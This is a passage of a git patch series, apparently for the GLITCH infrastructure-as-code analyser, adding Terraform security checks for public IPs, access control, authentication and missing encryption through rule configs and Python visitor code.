["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -73,15 +78,56 @@ ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribu {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], "values": ["true"], "required": "yes"}] -ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", +ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "dnssec_config", "parents": [""], + "values": [""], "required": "yes"}, + {"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", "parents": ["dnssec_config"], "values": ["on"], "required": "yes"}] + +use_public_ip = [{"au_type": ["resource.aws_launch_configuration", "resource.aws_instance"], + "attribute": "associate_public_ip_address", "parents": [""], "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_subnet"], "attribute": "map_public_ip_on_launch", "parents": [""], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "access_config", "parents": ["network_interface"], + "values": [""], "required": "must_not_exist"}, + {"au_type": ["resource.opc_compute_ip_address_reservation"], "attribute": "ip_address_pool", "parents": [""], + "values": ["cloud-ippool"], "required": "no"}] + +insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute": "endpoint_public_access", + "parents": ["vpc_config"], "values": ["false"], "required": "yes"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "public_access_cidrs[0]", "parents": ["vpc_config"], + "values": [""], "required": "yes"}, + {"au_type": ["resource.aws_lambda_permission"], "attribute": "source_arn", "parents": [""], + "values": [""], "required": "yes"}, + {"au_type": ["resource.aws_db_instance", "resource.aws_rds_cluster_instance"], "attribute": "publicly_accessible", "parents": [""], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_acls", "parents": [""], + "values": ["true"], "required": "yes"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_policy", "parents": [""], + "values": ["true"], "required": "yes"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "restrict_public_buckets", "parents": [""], + "values": ["true"], "required": "yes"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "ignore_public_acls", "parents": [""], + "values": ["true"], "required": "yes"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], "values": ["private"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "authorized_ip_ranges[0]", + "parents": ["api_server_access_profile"], "values": [""], "required": "yes"}, + {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mssql_server", + "resource.azurerm_mysql_server"], "attribute": "public_network_access_enabled", "parents": [""], + "values": ["false"], "required": "yes"}, + {"au_type": ["resource.azurerm_data_factory"], "attribute": "public_network_enabled", "parents": [""], + "values": ["false"], "required": "yes"}, + {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], + "values": ["private"], "required": "no"}, + {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "acl", "parents": [""], + "values": ["private"], "required": "yes"}, + {"au_type": ["resource.digitalocean_spaces_bucket_object"], "attribute": "acl", "parents": [""], + "values": ["private"], "required": "no"}, + {"au_type": ["resource.google_bigquery_dataset"], "attribute": "special_group", "parents": ["access"], + "values": ["projectowners", "projectreaders", "projectwriters"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enable_private_nodes", + "parents": ["private_cluster_config"], "values": ["true"], "required": "yes"}] - - - - - [design] exec_atomic_units = ["exec"] default_variables = [] From c081a80758e94965510dfe4cbf39c298feabd1c4 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 15 Mar 2023 13:36:15 +0000 Subject: [PATCH 03/58] Terraform: Disabled/Weak Authentication smell --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 139 +++++++++++++++++++++++------------- glitch/configs/default.ini | 18 ++++- 3 files changed, 108 insertions(+), 52 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index ce307efa..97529914 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -20,7 +20,8 @@ class Error(): 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions.", 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS.", 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", - 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access." + 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access.", + 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 460d6085..52b2a16c 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -41,9 +41,10 @@ def config(self, config_path: str): SecurityVisitor.__DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) SecurityVisitor.__PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) SecurityVisitor.__POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) - SecurityVisitor.__ACCESS_KEYWORDS = json.loads(config['security']['access_keywords']) - SecurityVisitor.__ACCESS_VALUES = json.loads(config['security']['access_values']) SecurityVisitor.__ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) + SecurityVisitor.__AUTHENTICATION = json.loads(config['security']['authentication']) + SecurityVisitor.__POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) + SecurityVisitor.__POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -65,23 +66,6 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors.append(Error('sec_no_int_check', au, file, repr(a))) break - - def check_required_attribute(attributes, parents, name, value = None): - aux = None - for a in attributes: - if a.name.split('dynamic')[-1] == name and parents == [""]: - if value and a.value == value: - return a - elif value and a.value != value: - return None - elif not value: - return a - elif a.name.split('dynamic.')[-1] in parents: - aux = check_required_attribute(a.keyvalues, [""], name, value) - elif a.keyvalues != []: - aux = check_required_attribute(a.keyvalues, parents, name, value) - if aux: return aux - return None def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, attribute_parents: list): if isinstance(c, Project): @@ -100,15 +84,59 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, au.attributes, attribute_parents, attribute_name, attribute_value)): return au return None + + def get_attributes_with_name_and_value(attributes, parents, name, value = None): + aux = [] + for a in attributes: + if a.name.split('dynamic')[-1] == name and parents == [""]: + if value and a.value == value: + aux.append(a) + elif value and a.value != value: + continue + elif not value: + aux.append(a) + elif a.name.split('dynamic.')[-1] in parents: + aux += get_attributes_with_name_and_value(a.keyvalues, [""], name, value) + elif a.keyvalues != []: + aux += get_attributes_with_name_and_value(a.keyvalues, parents, name, value) + return aux + + def check_required_attribute(attributes, parents, name, value = None): + attributes = get_attributes_with_name_and_value(attributes, parents, name, value) + if attributes != []: + return attributes[0] + else: + return None + + def check_database_flags(smell: str, flag_name: str, safe_value: str): + database_flags = get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") + found_flag = False + if database_flags != []: + for flag in database_flags: + name = check_required_attribute(flag.keyvalues, [""], "name", flag_name) + if name: + found_flag = True + value = check_required_attribute(flag.keyvalues, [""], "value") + if value and value.value.lower() != safe_value: + errors.append(Error(smell, value, file, repr(value))) + break + elif not value: + errors.append(Error(smell, au, file, repr(au), + f"Suggestion: check for a required attribute with name 'value'.")) + break + if not found_flag: + errors.append(Error(smell, au, file, repr(au), + f"Suggestion: check for a required flag '{flag_name}'.")) + # check integrity policy for policy in SecurityVisitor.__INTEGRITY_POLICY: if (policy['required'] == "yes" and au.type in policy['au_type']): - a = check_required_attribute(au.attributes, policy['parents'], policy['attribute']) - if not a: + if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): errors.append(Error('sec_integrity_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) break + # check http without tls for config in SecurityVisitor.__HTTPS_CONFIGS: if (config["required"] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config["parents"], config['attribute']): @@ -116,6 +144,7 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) break + # check ssl/tls policy for policy in SecurityVisitor.__SSL_TLS_POLICY: if (policy['required'] == "yes" and au.type in policy['au_type']): if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): @@ -123,6 +152,7 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) break + # check dns without dnssec for config in SecurityVisitor.__DNSSEC_CONFIGS: if (config['required'] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config['parents'], config['attribute']): @@ -130,19 +160,15 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) break + # check public ip for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: - if ((config['required'] == "yes" or config['required'] == "must_not_exist") - and au.type in config['au_type']): - a = check_required_attribute(au.attributes, config['parents'], config['attribute']) - if (not a and config['required'] == "yes"): + if (config['required'] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config['parents'], config['attribute']): errors.append(Error('sec_public_ip', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) break - elif (a and config['required'] == "must_not_exist"): - errors.append(Error('sec_public_ip', a, file, repr(a))) - break - #insecure access control + # check insecure access control if (au.type == "resource.aws_api_gateway_method"): http_method = check_required_attribute(au.attributes, [""], 'http_method') authorization = check_required_attribute(au.attributes, [""], 'authorization') @@ -171,18 +197,7 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, errors.append(Error('sec_access_control', au, file, repr(au), f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) elif (au.type == "resource.google_sql_database_instance"): - database_flags = check_required_attribute(au.attributes, ["settings"], "database_flags") - name = check_required_attribute(au.attributes, ["database_flags"], "name", "cross db ownership chaining") - if database_flags and name: - value = check_required_attribute(au.attributes, ["database_flags"], "value") - if value and value.value.lower() != "off": - errors.append(Error('sec_access_control', value, file, repr(value))) - elif not value: - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'value'.")) - else: - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required flag 'cross db ownership chaining'.")) + check_database_flags('sec_access_control', "cross db ownership chaining", "off") elif (au.type == "resource.aws_s3_bucket"): block = get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) @@ -197,6 +212,22 @@ def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, f"Suggestion: check for a required attribute with name '{config['attribute'].split('[')[0]}'.")) break + # check authentication + if (au.type == "resource.google_sql_database_instance"): + check_database_flags('sec_authentication', "contained database authentication", "off") + elif (au.type == "resource.aws_iam_group"): + block = get_associated_au(self.code, "resource.aws_iam_group_policy", "group", + "${aws_iam_group." + f"{au.name}" + ".name}", [""]) + if not block: + errors.append(Error('sec_authentication', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an 'aws_iam_group' resource.")) + + for config in SecurityVisitor.__AUTHENTICATION: + if (config['required'] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config['parents'], config['attribute']): + errors.append(Error('sec_authentication', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + break return errors @@ -384,19 +415,24 @@ def get_module_var(c, name: str): for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: if (name == config['attribute'] and atomic_unit.type in config['au_type'] - and parent_name in config['parents'] and value.lower() not in config['values']): + and parent_name in config['parents'] and value.lower() not in config['values'] + and config['required'] == 'must_not_exist'): errors.append(Error('sec_public_ip', c, file, repr(c))) break for item in SecurityVisitor.__POLICY_KEYWORDS: if item.lower() in name: - for access_keyword in SecurityVisitor.__ACCESS_KEYWORDS: - for access_value in SecurityVisitor.__ACCESS_VALUES: - expr = access_keyword.lower() + "\s*" + access_value.lower() + for config in SecurityVisitor.__POLICY_ACCESS_CONTROL: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if re.search(pattern, value): + errors.append(Error('sec_access_control', c, file, repr(c))) + for config in SecurityVisitor.__POLICY_AUTHENTICATION: + if atomic_unit.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") - match = re.search(pattern, value) - if match: - errors.append(Error('sec_access_control', c, file, repr(c))) + if not re.search(pattern, value): + errors.append(Error('sec_authentication', c, file, repr(c))) for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: if (name == config['attribute'] and atomic_unit.type in config['au_type'] @@ -405,6 +441,13 @@ def get_module_var(c, name: str): errors.append(Error('sec_access_control', c, file, repr(c))) break + for config in SecurityVisitor.__AUTHENTICATION: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_authentication', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 2636cf79..f9337f5f 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -25,10 +25,12 @@ sensitive_data = ["user_data", "container_definitions", "custom_data"] key_value_assign = ["key_id=", "access_key=", "key="] policy_keywords = ["policy"] -access_keywords = ["\"principal\":"] -access_values = ["\"\\*\""] +policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}] +policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:MultiFactorAuthPresent\":", + "value": "\\[\"true\"\\]"}] -secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required"] + +secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -127,6 +129,16 @@ insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute" {"au_type": ["resource.google_container_cluster"], "attribute": "enable_private_nodes", "parents": ["private_cluster_config"], "values": ["true"], "required": "yes"}] +authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], + "attribute": "auth_settings", "parents": [""], "values": [""], "required": "yes"}, + {"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", + "parents": ["auth_settings"], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.azurerm_linux_virtual_machine", "resource.azurerm_linux_virtual_machine_scale_set"], + "attribute": "disable_password_authentication", "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.azurerm_virtual_machine"], "attribute": "disable_password_authentication", + "parents": ["os_profile_linux_config"], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "issue_client_certificate", + "parents": ["client_certificate_config"], "values": ["false"], "required": "no"}] [design] exec_atomic_units = ["exec"] From 2c6a20761cc9a7355788fb014190363d84bff0bf Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 16 Mar 2023 14:52:05 +0000 Subject: [PATCH 04/58] Minor fixes and Terraform: Missing Encryption smell (CWE-311) --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 58 +++++++++--- glitch/configs/default.ini | 177 ++++++++++++++++++++++++++++-------- 3 files changed, 187 insertions(+), 51 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 97529914..6a875122 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -21,7 +21,8 @@ class Error(): 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS.", 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access.", - 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled." + 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled.", + 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)" }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 52b2a16c..ee967b72 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -45,6 +45,9 @@ def config(self, config_path: str): SecurityVisitor.__AUTHENTICATION = json.loads(config['security']['authentication']) SecurityVisitor.__POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) SecurityVisitor.__POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) + SecurityVisitor.__MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) + SecurityVisitor.__CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) + SecurityVisitor.__ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -89,9 +92,9 @@ def get_attributes_with_name_and_value(attributes, parents, name, value = None): aux = [] for a in attributes: if a.name.split('dynamic')[-1] == name and parents == [""]: - if value and a.value == value: + if value and a.value.lower() == value: aux.append(a) - elif value and a.value != value: + elif value and a.value.lower() != value: continue elif not value: aux.append(a) @@ -133,7 +136,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (policy['required'] == "yes" and au.type in policy['au_type']): if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): errors.append(Error('sec_integrity_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) break # check http without tls @@ -141,7 +144,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (config["required"] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config["parents"], config['attribute']): errors.append(Error('sec_https', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break # check ssl/tls policy @@ -149,7 +152,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (policy['required'] == "yes" and au.type in policy['au_type']): if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) break # check dns without dnssec @@ -157,7 +160,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (config['required'] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config['parents'], config['attribute']): errors.append(Error('sec_dnssec', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break # check public ip @@ -165,7 +168,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (config['required'] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config['parents'], config['attribute']): errors.append(Error('sec_public_ip', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break # check insecure access control @@ -203,13 +206,14 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) if not block: errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' associated to an 'aws_s3_bucket' resource.")) + f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + + f"associated to an 'aws_s3_bucket' resource.")) for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: if (config['required'] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config['parents'], config['attribute']): errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['attribute'].split('[')[0]}'.")) + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break # check authentication @@ -220,13 +224,22 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): "${aws_iam_group." + f"{au.name}" + ".name}", [""]) if not block: errors.append(Error('sec_authentication', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an 'aws_iam_group' resource.")) + f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + + f"'aws_iam_group' resource.")) for config in SecurityVisitor.__AUTHENTICATION: if (config['required'] == "yes" and au.type in config['au_type']): if not check_required_attribute(au.attributes, config['parents'], config['attribute']): errors.append(Error('sec_authentication', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break + + # check missing encryption + for config in SecurityVisitor.__MISSING_ENCRYPTION: + if (config['required'] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config['parents'], config['attribute']): + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break return errors @@ -421,7 +434,7 @@ def get_module_var(c, name: str): break for item in SecurityVisitor.__POLICY_KEYWORDS: - if item.lower() in name: + if item.lower() == name: for config in SecurityVisitor.__POLICY_ACCESS_CONTROL: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") @@ -448,6 +461,27 @@ def get_module_var(c, name: str): errors.append(Error('sec_authentication', c, file, repr(c))) break + for config in SecurityVisitor.__MISSING_ENCRYPTION: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != []): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_missing_encryption', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_missing_encryption', c, file, repr(c))) + break + + for item in SecurityVisitor.__CONFIGURATION_KEYWORDS: + if item.lower() == name: + for config in SecurityVisitor.__ENCRYPT_CONFIG: + if atomic_unit.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, value) and config['required'] == "yes": + errors.append(Error('sec_missing_encryption', c, file, repr(c))) + elif re.search(pattern, value) and config['required'] == "must_not_exist": + errors.append(Error('sec_missing_encryption', c, file, repr(c))) + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index f9337f5f..c045d0d0 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -22,15 +22,28 @@ weak_crypt = ["md5", "sha1", "arcfour"] weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] sensitive_data = ["user_data", "container_definitions", "custom_data"] -key_value_assign = ["key_id=", "access_key=", "key="] +key_value_assign = ["key_id=", "access_key=", "key=", "database_password="] policy_keywords = ["policy"] policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}] -policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:MultiFactorAuthPresent\":", +policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:multifactorauthpresent\":", "value": "\\[\"true\"\\]"}] +configuration_keywords = ["configuration"] +encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"], + "keyword": "\"enableatrestencryption\":", "value": "true", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"enableintransitencryption\":", + "value": "true", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionmode\":", + "value": "\"sse-kms\"", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", + "value": "\"\"", "required": "must_not_exist"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", + "value": "", "required": "yes"}] -secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate"] + +secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", + "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -40,50 +53,54 @@ integrity_policy = [{"au_type": ["resource.google_compute_instance"], "attribute {"au_type": ["resource.google_compute_instance"], "attribute": "enable_vtpm", "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, {"au_type": ["resource.aws_ecr_repository"], "attribute": "image_tag_mutability", "parents": [""], - "values": ["immutable"], "required": "yes"}] + "values": ["immutable"], "required": "yes", "msg": "image_tag_mutability"}] ensure_https = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "viewer_protocol_policy", "parents": ["default_cache_behavior", "ordered_cache_behavior"], "values":["redirect-to-https", "https-only"], - "required": "yes"}, + "required": "yes", "msg": "cache_behavior.viewer_protocol_policy"}, {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enforce_https", "parents": ["domain_endpoint_options"], - "values": ["true"], "required": "yes"}, + "values": ["true"], "required": "yes", "msg": "domain_endpoint_options.enforce_https"}, {"au_type": ["resource.aws_alb_listener"], "attribute": "protocol", "parents": [""], "values": ["https", "tls"], - "required": "yes"}, + "required": "yes", "msg": "protocol"}, {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app", "resource.azurerm_function_app_slot", "resource.azurerm_linux_web_app", "resource.azurerm_windows_web_app"], - "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes"}, + "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes", "msg": "https_only"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "enable_https_traffic_only", "parents": [""], "values": ["true"], "required": "no"}, {"au_type": ["resource.digitalocean_loadbalancer"], "attribute": "entry_protocol", "parents": ["forwarding_rule"], "values": ["https"], "required": "no"}] ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribute": "security_policy", - "parents": [""], "values": ["tls_1_2", "tls_1_3"], "required": "yes"}, + "parents": [""], "values": ["tls_1_2", "tls_1_3"], "required": "yes", "msg": "security_policy"}, {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "minimum_protocol_version", - "parents": ["viewer_certificate"], "values": ["tlsv1.2_2018", "tlsv1.2_2019", "tlsv1.2_2021"], "required": "yes"}, + "parents": ["viewer_certificate"], "values": ["tlsv1.2_2018", "tlsv1.2_2019", "tlsv1.2_2021"], "required": "yes", + "msg": "viewer_certificate.minimum_protocol_version"}, {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "tls_security_policy", - "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes"}, + "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes", + "msg": "domain_endpoint_options.tls_security_policy"}, {"au_type": ["resource.aws_alb_listener"], "attribute": "ssl_policy", "parents": [""], - "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "yes"}, + "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "yes", + "msg": "ssl_policy"}, {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], "parents": ["site_config"], "attribute": "min_tls_version", "values": ["1.2"], "required": "no"}, {"au_type": ["resource.google_compute_ssl_policy"], "attribute": "min_tls_version", "parents": [""], - "values": ["tls_1_2"], "required": "yes"}, + "values": ["tls_1_2"], "required": "yes", "msg": "min_tls_version"}, {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mysql_server"], - "attribute": "ssl_enforcement_enabled", "parents": [""], "values": ["true"], "required": "yes"}, + "attribute": "ssl_enforcement_enabled", "parents": [""], "values": ["true"], "required": "yes", + "msg": "ssl_enforcement_enabled"}, {"au_type": ["resource.azurerm_mysql_server", "resource.azurerm_postgresql_server"], "attribute": "ssl_minimal_tls_version_enforced", "parents": [""], "values": ["tls1_2"], "required": "no"}, {"au_type": ["resource.azurerm_mssql_server"], "attribute": "minimum_tls_version", "parents": [""], "values": ["1.2"], "required": "no"}, - {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", - "parents": ["ip_configuration"], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.google_sql_database_instance"], "attribute": "ip_configuration", "parents": ["settings"], + "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, + {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", "parents": ["ip_configuration"], + "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], - "values": ["true"], "required": 